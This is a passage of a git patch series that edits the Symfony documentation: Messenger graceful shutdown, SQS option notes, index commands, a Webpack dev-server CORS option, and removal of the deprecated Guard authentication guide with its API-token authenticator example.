+Workers can handle the ``SIGTERM`` POSIX signal to finish handling their
+current message before exiting, as long as the `PCNTL`_ extension is installed.
+
+.. tip::
+
+    In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g.
+    stopping a Docker container having Supervisor as its entrypoint).
+    In these cases you need to add a ``stopwaitsecs`` key to the program
+    configuration (with a value of the desired grace period in seconds)
+    in order to perform a graceful shutdown.
+    
+    .. code-block:: ini
+    
+        [program:x]
+        stopwaitsecs=20
+
 .. _messenger-retries-failures:
 
 Retries & Failures
@@ -1747,4 +1766,5 @@ Learn more
 .. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
+.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer

From 1ed8250f23e64bc4558f5a32f1e4f12ca23aeccd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 15:36:54 +0200
Subject: [PATCH 2356/7107] Minor tweaks

---
 messenger.rst | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c4e79b5af8b..d726ace082b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -656,21 +656,19 @@ See the `Supervisor docs`_ for more details.
 Graceful Shutdown
 ~~~~~~~~~~~~~~~~~
 
-Workers can handle the ``SIGTERM`` POSIX signal to finish handling their
-current message before exiting, as long as the `PCNTL`_ extension is installed.
+If you install the `PCNTL`_ PHP extension in your project, workers will handle
+the ``SIGTERM`` POSIX signal to finish processing their current message before
+exiting.
 
-.. tip::
+In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
+a Docker container having Supervisor as its entrypoint). In these cases you
+need to add a ``stopwaitsecs`` key to the program configuration (with a value
+of the desired grace period in seconds) in order to perform a graceful shutdown:
+
+.. code-block:: ini
 
-    In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g.
-    stopping a Docker container having Supervisor as its entrypoint).
-    In these cases you need to add a ``stopwaitsecs`` key to the program
-    configuration (with a value of the desired grace period in seconds)
-    in order to perform a graceful shutdown.
-    
-    .. code-block:: ini
-    
-        [program:x]
-        stopwaitsecs=20
+    [program:x]
+    stopwaitsecs=20
 
 .. _messenger-retries-failures:
 

From e10d284e27ebb11fdcc9169ce508f727221fd067 Mon Sep 17 00:00:00 2001
From: Hiromi Hishida <info@77-web.com>
Date: Sun, 18 Jul 2021 21:05:26 +0900
Subject: [PATCH 2357/7107] add description to amazon-sqs-transport's
 access_key and secret_key

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 97791ff9617..4a061ffa4cc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1423,7 +1423,7 @@ The transport has a number of options:
 ======================  ======================================  ===================================
      Option             Description                             Default
 ======================  ======================================  ===================================
-``access_key``          AWS access key
+``access_key``          AWS access key                          must be urlencoded
 ``account``             Identifier of the AWS account           The owner of the credentials
 ``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
@@ -1433,7 +1433,7 @@ The transport has a number of options:
                         seconds
 ``queue_name``          Name of the queue                       messages
 ``region``              Name of the AWS region                  eu-west-1
-``secret_key``          AWS secret key
+``secret_key``          AWS secret key                          must be urlencoded
 ``visibility_timeout``  Amount of seconds the message will      Queue's configuration
                         not be visible (`Visibility Timeout`_)
 ``wait_time``           `Long polling`_ duration in seconds     20

From 3a1bbc83849acfa575682412634394b9780a6f62 Mon Sep 17 00:00:00 2001
From: Anto <antograssiot@free.fr>
Date: Wed, 21 Jul 2021 15:00:34 +0200
Subject: [PATCH 2358/7107] Fix wrong option flag name

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e44d2532f02..db4558a939f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -500,7 +500,7 @@ the ``debug:firewall`` command:
 
     # displays the details of a specific firewall, including detailed information
     # about the event listeners for the firewall
-    $ php bin/console debug:firewall main --include-listeners
+    $ php bin/console debug:firewall main --events
 
 .. versionadded:: 5.3
 

From 64b2d45ac21a685644848c1f1f7ccac800b3f2bf Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Wed, 21 Jul 2021 16:12:36 +0200
Subject: [PATCH 2359/7107] Remove useless quotes for `render_rest` attribute

---
 form/form_customization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 81d4007ce9e..654dfaa2a7e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -204,7 +204,7 @@ article) unless you set ``render_rest`` to false:
 .. code-block:: twig
 
     {# don't render unrendered fields #}
-    {{ form_end(form, {'render_rest': false}) }}
+    {{ form_end(form, {render_rest: false}) }}
 
 .. _reference-forms-twig-label:
 

From 3498214b258c8fbcf169902b97feaa2e154b482b Mon Sep 17 00:00:00 2001
From: Joe Bennett <joe@assimtech.com>
Date: Thu, 22 Jul 2021 15:27:19 +1000
Subject: [PATCH 2360/7107] #42227 update phpdoc to recommend createIndex over
 ensureIndex

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 118c7015771..a765fa4edc7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -768,7 +768,7 @@ Such an index can be created manually:
 
 .. code-block:: javascript
 
-    db.lock.ensureIndex(
+    db.lock.createIndex(
         { "expires_at": 1 },
         { "expireAfterSeconds": 0 }
     )

From 0f1a5ff0563a03f1003141bc12f1222e25848d81 Mon Sep 17 00:00:00 2001
From: Joe Bennett <joe@assimtech.com>
Date: Thu, 22 Jul 2021 15:31:13 +1000
Subject: [PATCH 2361/7107] #42229 update phpdoc to recommend createIndex over
 ensureIndex

---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index b9ddfd2e9fd..56cd9e27384 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -532,7 +532,7 @@ performance. Run this from the `MongoDB shell`_:
 .. code-block:: javascript
 
     use session_db
-    db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
+    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
 
 Configuring the Session Field Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 9d762a9c1accd9d473f465ce763c8a391edf781a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 16:30:21 +0200
Subject: [PATCH 2362/7107] [Frontend] Use Webpack disableHostCheck option in
 example

---
 frontend/encore/dev-server.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 9ab5b8f02e9..7b36a0f877e 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -90,7 +90,7 @@ CORS Issues
 -----------
 
 If you experience issues related to CORS (Cross Origin Resource Sharing), set
-the ``firewall`` option:
+the following option:
 
 .. code-block:: javascript
 
@@ -101,11 +101,13 @@ the ``firewall`` option:
         // ...
 
         .configureDevServerOptions(options => {
-            options.firewall = false;
+            options.allowedHosts = 'all';
+            // in older Webpack Dev Server versions, use this option instead:
+            // options.firewall = false;
         })
 
-Beware that `it's not recommended to disable the firewall`_ in general, but
-here it's required to solve the CORS issue.
+Beware that this is not a recommended security practice in general, but here
+it's required to solve the CORS issue.
 
 Hot Module Replacement HMR
 --------------------------
@@ -123,5 +125,4 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
 .. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27

From c4834f68d4a92be36c65776c086d4c12718dabf1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Jul 2021 13:37:37 +0200
Subject: [PATCH 2363/7107] Remove more deprecations in 6.0 branch

---
 _build/redirection_map                        |   2 +
 cache.rst                                     |  12 -
 .../cache/adapters/doctrine_adapter.rst       |  10 -
 components/security/authentication.rst        |  11 +-
 reference/configuration/framework.rst         |   7 -
 reference/configuration/security.rst          |  15 -
 reference/forms/types/options/help.rst.inc    |   4 -
 security.rst                                  |  18 +-
 security/authenticator_manager.rst            |   8 -
 security/form_login_setup.rst                 |   6 +-
 security/guard_authentication.rst             | 577 ------------------
 security/multiple_guard_authenticators.rst    | 185 ------
 security/password_migration.rst               |   2 +-
 13 files changed, 12 insertions(+), 845 deletions(-)
 delete mode 100644 security/guard_authentication.rst
 delete mode 100644 security/multiple_guard_authenticators.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index e4007215bf4..304ea9496bb 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -517,3 +517,5 @@
 /security/named_encoders /security/named_hashers
 /components/inflector /components/string#inflector
 /security/experimental_authenticators /security/authenticator_manager
+/security/guard_authentication /security/authenticator_manager
+/security/multiple_guard_authenticators /security/authenticator_manager
diff --git a/cache.rst b/cache.rst
index 6025593c386..8b049c00001 100644
--- a/cache.rst
+++ b/cache.rst
@@ -99,7 +99,6 @@ The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`
 * :doc:`cache.adapter.array </components/cache/adapters/array_cache_adapter>`
-* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>`
 * :doc:`cache.adapter.filesystem </components/cache/adapters/filesystem_adapter>`
 * :doc:`cache.adapter.memcached </components/cache/adapters/memcached_adapter>`
 * :doc:`cache.adapter.pdo </components/cache/adapters/pdo_doctrine_dbal_adapter>`
@@ -119,8 +118,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             cache:
                 directory: '%kernel.cache_dir%/pools' # Only used with cache.adapter.filesystem
 
-                # service: cache.doctrine
-                default_doctrine_provider: 'app.doctrine_cache'
                 # service: cache.psr6
                 default_psr6_provider: 'app.my_psr6_service'
                 # service: cache.redis
@@ -144,7 +141,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
 
             <framework:config>
                 <!--
-                default_doctrine_provider: Service: cache.doctrine
                 default_psr6_provider: Service: cache.psr6
                 default_redis_provider: Service: cache.redis
                 default_memcached_provider: Service: cache.memcached
@@ -152,7 +148,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
-                    default_doctrine_provider="app.doctrine_cache"
                     default_psr6_provider="app.my_psr6_service"
                     default_redis_provider="redis://localhost"
                     default_memcached_provider="memcached://localhost"
@@ -170,8 +165,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
-                // Service: cache.doctrine
-                ->defaultDoctrineProvider('app.doctrine_cache')
                 // Service: cache.psr6
                 ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
@@ -183,11 +176,6 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             ;
         };
 
-.. deprecated:: 5.4
-
-    The ``default_doctrine_provider`` option was deprecated in Symfony 5.4 and
-    it will be removed in Symfony 6.0.
-
 .. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 78ca23ae1ea..f8f95126ae9 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -34,14 +34,4 @@ third parameters::
         $defaultLifetime = 0
     );
 
-.. tip::
-
-    A :class:`Symfony\\Component\\Cache\\DoctrineProvider` class is also provided by the
-    component to use any PSR6-compatible implementations with Doctrine-compatible classes.
-
-    .. deprecated:: 5.4
-
-        The ``DoctrineProvider`` class was deprecated in Symfony 5.4 and it will
-        be removed in Symfony 6.0.
-
 .. _`Doctrine Cache`: https://github.com/doctrine/cache
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index a6777ea12d4..d89e3e1d5f7 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -296,14 +296,9 @@ Authentication Success and Failure Events
 
 When a provider authenticates the user, a ``security.authentication.success``
 event is dispatched. But beware - this event may fire, for example, on *every*
-request if you have session-based authentication, if ``always_authenticate_before_granting``
-is enabled or if token is not authenticated before AccessListener is invoked.
-See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
-
-.. deprecated:: 5.4
-
-    The ``always_authenticate_before_granting`` option was deprecated in
-    Symfony 5.4 and it will be removed in Symfony 6.0.
+request if you have session-based authentication, if token is not authenticated
+before AccessListener is invoked. See ``security.interactive_login`` below if
+you need to do something when a user *actually* logs in.
 
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
 a ``security.authentication.failure`` event is dispatched. You could listen on
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b44b1c0a2af..f7653698b74 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2710,12 +2710,6 @@ file
     Use the filesystem to cache annotations
 none
     Disable the caching of annotations
-a service id
-    A service id referencing a `Doctrine Cache`_ implementation
-
-.. deprecated:: 5.3
-
-    Using a service ID as the value of ``cache`` is deprecated since Symfony 5.3.
 
 file_cache_dir
 ..............
@@ -3510,7 +3504,6 @@ to know their differences.
 
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
-.. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
 .. _`egulias/email-validator`: https://github.com/egulias/EmailValidator
 .. _`RFC 5322`: https://tools.ietf.org/html/rfc5322
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 7c210352c61..cbf426b2d62 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -28,7 +28,6 @@ Configuration
 **Basic Options**:
 
 * `access_denied_url`_
-* `always_authenticate_before_granting`_
 * `anonymous`_
 * `erase_credentials`_
 * `hide_user_not_found`_
@@ -53,20 +52,6 @@ access_denied_url
 Defines the URL where the user is redirected after a ``403`` HTTP error (unless
 you define a custom access deny handler). Example: ``/no-permission``
 
-always_authenticate_before_granting
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-.. deprecated:: 5.4
-
-    The ``always_authenticate_before_granting`` option was deprecated in
-    Symfony 5.4 and it will be removed in Symfony 6.0.
-
-If ``true``, the user is asked to authenticate before each call to the
-``isGranted()`` method in services and controllers or ``is_granted()`` from
-templates.
-
 anonymous
 ~~~~~~~~~
 
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index 86f84111c88..b0686c3f82e 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -19,7 +19,3 @@ rendered below the field::
             'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
         ])
     ;
-
-.. versionadded:: 5.4
-
-    Support for passing ``TranslatableMessage`` objects was introduced in Symfony 5.4.
diff --git a/security.rst b/security.rst
index 4677666c092..c716071f0cb 100644
--- a/security.rst
+++ b/security.rst
@@ -452,18 +452,8 @@ you to control *every* part of the authentication process (see the next section)
 Guard Authenticators
 ~~~~~~~~~~~~~~~~~~~~
 
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-A Guard authenticator is a class that gives you *complete* control over your
-authentication process. There are many different ways to build an authenticator;
-here are a few common use-cases:
-
-* :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed
-  description of authenticators and how they work
+Guard authenticators are deprecated in favor of the
+:doc:`new authenticator-based system </security/authenticator_manager>`.
 
 Limiting Login Attempts
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -1436,7 +1426,7 @@ Frequently Asked Questions
 **Can I have Multiple Firewalls?**
     Yes! But it's usually not necessary. Each firewall is like a separate security
     system. And so, unless you have *very* different authentication needs, one
-    firewall usually works well. With :doc:`Guard authentication </security/guard_authentication>`,
+    firewall usually works well. With the :doc:`authenticator-based security </security/authenticator_manager>`,
     you can create various, diverse ways of allowing authentication (e.g. form login,
     API key authentication and LDAP) all under the same firewall.
 
@@ -1479,7 +1469,6 @@ Authentication (Identifying/Logging in the User)
     security/form_login_setup
     security/reset_password
     security/json_login_setup
-    security/guard_authentication
     security/password_migration
     security/auth_providers
     security/user_provider
@@ -1488,7 +1477,6 @@ Authentication (Identifying/Logging in the User)
     security/impersonating_user
     security/user_checkers
     security/named_hashers
-    security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
     security/custom_authentication_provider
diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index b347f7d57f4..e2a304f87fe 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -266,14 +266,6 @@ The authenticator-based system dropped support for these providers and
 introduced a new authenticator interface as a base for custom
 authentication methods.
 
-.. tip::
-
-    :doc:`Guard authenticators </security/guard_authentication>` are still
-    supported in the authenticator-based system. It is however recommended
-    to also update these when you're refactoring your application to the
-    new system. The new authenticator interface has many similarities with the
-    guard authenticator interface, making the rewrite easier.
-
 Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
 You can also extend
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 7fe912cdac7..3184682f350 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -45,7 +45,7 @@ and your generated code may be slightly different:
     Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8.
 
 This generates the following: 1) login/logout routes & controller, 2) a template that
-renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>`
+renders the login form, 3) an :doc:`authenticator </security/authenticator_manager>`
 class that processes the login submit and 4) updates the main security config file.
 
 **Step 1.** The ``/login``/``/logout`` routes & controller::
@@ -405,9 +405,9 @@ you have:
 .. image:: /_images/security/symfony_loggedin_wdt.png
    :align: center
 
-The Guard authentication system is powerful, and you can customize your authenticator
+The authentication system is powerful, and you can customize your authenticator
 class to do whatever you need. To learn more about what the individual methods do,
-see :doc:`/security/guard_authentication`.
+see :doc:`/security/authenticator_manager`.
 
 Controlling Error Messages
 --------------------------
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
deleted file mode 100644
index 8b61ac97558..00000000000
--- a/security/guard_authentication.rst
+++ /dev/null
@@ -1,577 +0,0 @@
-.. index::
-    single: Security; Custom Authentication
-
-Custom Authentication System with Guard (API Token Example)
-===========================================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-Guard authentication can be used to:
-
-* :doc:`Build a Login Form </security/form_login_setup>`
-* Create an API token authentication system (see below)
-* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution)
-* Integrate with some proprietary single-sign-on system
-
-and many more. In this example, we'll build an API token authentication
-system, so we can learn more about Guard in detail.
-
-Step 1) Prepare your User Class
--------------------------------
-
-Suppose you want to build an API where your clients will send an ``X-AUTH-TOKEN`` header
-on each request with their API token. Your job is to read this and find the associated
-user (if any).
-
-First, make sure you've followed the main :doc:`Security Guide </security>` to
-create your ``User`` class. Then add an ``apiToken`` property directly to
-your ``User`` class (the ``make:entity`` command is a good way to do this):
-
-.. code-block:: diff
-
-      // src/Entity/User.php
-      namespace App\Entity;
-
-      // ...
-
-      class User implements UserInterface
-      {
-          // ...
-
-    +     /**
-    +      * @ORM\Column(type="string", unique=true, nullable=true)
-    +      */
-    +     private $apiToken;
-
-          // the getter and setter methods
-      }
-
-Don't forget to generate and run the migration:
-
-.. code-block:: terminal
-
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
-
-Next, configure your "user provider" to use this new ``apiToken`` property:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                your_db_provider:
-                    entity:
-                        class: App\Entity\User
-                        property: apiToken
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="your_db_provider">
-                    <entity class="App\Entity\User" property="apiToken"/>
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->provider('your_db_provider')
-                ->entity('App\Entity\User')
-                ->property('apiToken')
-            ;
-
-            // ...
-        };
-
-Step 2) Create the Authenticator Class
---------------------------------------
-
-To create a custom authentication system, create a class and make it implement
-:class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`. Or, extend
-the simpler :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`.
-
-This requires you to implement several methods::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Guard\AbstractGuardAuthenticator;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        private $em;
-
-        public function __construct(EntityManagerInterface $em)
-        {
-            $this->em = $em;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request): bool
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        /**
-         * Called on every request. Return whatever credentials you want to
-         * be passed to getUser() as $credentials.
-         */
-        public function getCredentials(Request $request)
-        {
-            return $request->headers->get('X-AUTH-TOKEN');
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider): ?UserInterface
-        {
-            if (null === $credentials) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                return null;
-            }
-
-            // The user identifier in this case is the apiToken, see the key `property`
-            // of `your_db_provider` in `security.yaml`.
-            // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByIdentifier($credentials);
-        }
-
-        public function checkCredentials($credentials, UserInterface $user): bool
-        {
-            // Check credentials - e.g. make sure the password is valid.
-            // In case of an API token, no credential check is needed.
-
-            // Return `true` to cause authentication success
-            return true;
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey): ?Response
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        /**
-         * Called when authentication is needed, but it's not sent
-         */
-        public function start(Request $request, AuthenticationException $authException = null): Response
-        {
-            $data = [
-                // you might translate this message
-                'message' => 'Authentication Required'
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        public function supportsRememberMe(): bool
-        {
-            return false;
-        }
-    }
-
-Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`.
-
-Step 3) Configure the Authenticator
------------------------------------
-
-To finish this, make sure your authenticator is registered as a service. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authenticator:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                # ...
-
-                main:
-                    anonymous: true
-                    lazy: true
-                    logout: ~
-
-                    guard:
-                        authenticators:
-                            - App\Security\TokenAuthenticator
-
-                    # if you want, disable storing the user in the session
-                    # stateless: true
-
-                    # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-            <config>
-                <!-- ... -->
-
-                <!-- if you want, disable storing the user in the session
-                    add 'stateless="true"' to the firewall -->
-                <firewall name="main" pattern="^/" anonymous="true" lazy="true">
-                    <logout/>
-
-                    <guard>
-                        <authenticator>App\Security\TokenAuthenticator</authenticator>
-                    </guard>
-
-                    <!-- ... -->
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\TokenAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall
-                ->pattern('^/')
-                ->lazy(true)
-                ->anonymous();
-
-            $mainFirewall->logout();
-            $mainFirewall
-                ->guard()
-                    ->authenticators([TokenAuthenticator::class])
-            ;
-            // if you want, disable storing the user in the session
-            // $mainFirewall->stateless(true);
-            // ...
-        };
-
-You did it! You now have a fully-working API token authentication system. If your
-homepage required ``ROLE_USER``, then you could test it under different conditions:
-
-.. code-block:: terminal
-
-    # test with no token
-    curl http://localhost:8000/
-    # {"message":"Authentication Required"}
-
-    # test with a bad token
-    curl -H "X-AUTH-TOKEN: FAKE" http://localhost:8000/
-    # {"message":"Username could not be found."}
-
-    # test with a working token
-    curl -H "X-AUTH-TOKEN: REAL" http://localhost:8000/
-    # the homepage controller is executed: the page loads normally
-
-Now, learn more about what each method does.
-
-.. _guard-auth-methods:
-
-The Guard Authenticator Methods
--------------------------------
-
-Each authenticator needs the following methods:
-
-**supports(Request $request)**
-    This is called on *every* request and your job is to decide if the
-    authenticator should be used for this request (return ``true``) or if it
-    should be skipped (return ``false``).
-
-**getCredentials(Request $request)**
-    Your job is to read the token (or whatever your "authentication" information is)
-    from the request and return it. These credentials are passed to ``getUser()``.
-
-**getUser($credentials, UserProviderInterface $userProvider)**
-    The ``$credentials`` argument is the value returned by ``getCredentials()``.
-    Your job is to return an object that implements ``UserInterface``. If you do,
-    then ``checkCredentials()`` will be called. If you return ``null`` (or throw
-    an :ref:`AuthenticationException <guard-customize-error>`) authentication
-    will fail.
-
-**checkCredentials($credentials, UserInterface $user)**
-    If ``getUser()`` returns a User object, this method is called. Your job is to
-    verify if the credentials are correct. For a login form, this is where you would
-    check that the password is correct for the user. To pass authentication, return
-    ``true``. If you return ``false``
-    (or throw an :ref:`AuthenticationException <guard-customize-error>`),
-    authentication will fail.
-
-**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)**
-    This is called after successful authentication and your job is to either
-    return a :class:`Symfony\\Component\\HttpFoundation\\Response` object
-    that will be sent to the client or ``null`` to continue the request
-    (e.g. allow the route/controller to be called like normal). Since this
-    is an API where each request authenticates itself, you want to return
-    ``null``.
-
-**onAuthenticationFailure(Request $request, AuthenticationException $exception)**
-    This is called if authentication fails. Your job
-    is to return the :class:`Symfony\\Component\\HttpFoundation\\Response`
-    object that should be sent to the client. The ``$exception`` will tell you
-    *what* went wrong during authentication.
-
-**start(Request $request, AuthenticationException $authException = null)**
-    This is called if the client accesses a URI/resource that requires authentication,
-    but no authentication details were sent. Your job is to return a
-    :class:`Symfony\\Component\\HttpFoundation\\Response` object that helps
-    the user authenticate (e.g. a 401 response that says "token is missing!").
-
-**supportsRememberMe()**
-    If you want to support "remember me" functionality, return ``true`` from this method.
-    You will still need to activate ``remember_me`` under your firewall for it to work.
-    Since this is a stateless API, you do not want to support "remember me"
-    functionality in this example.
-
-**createAuthenticatedToken(UserInterface $user, string $providerKey)**
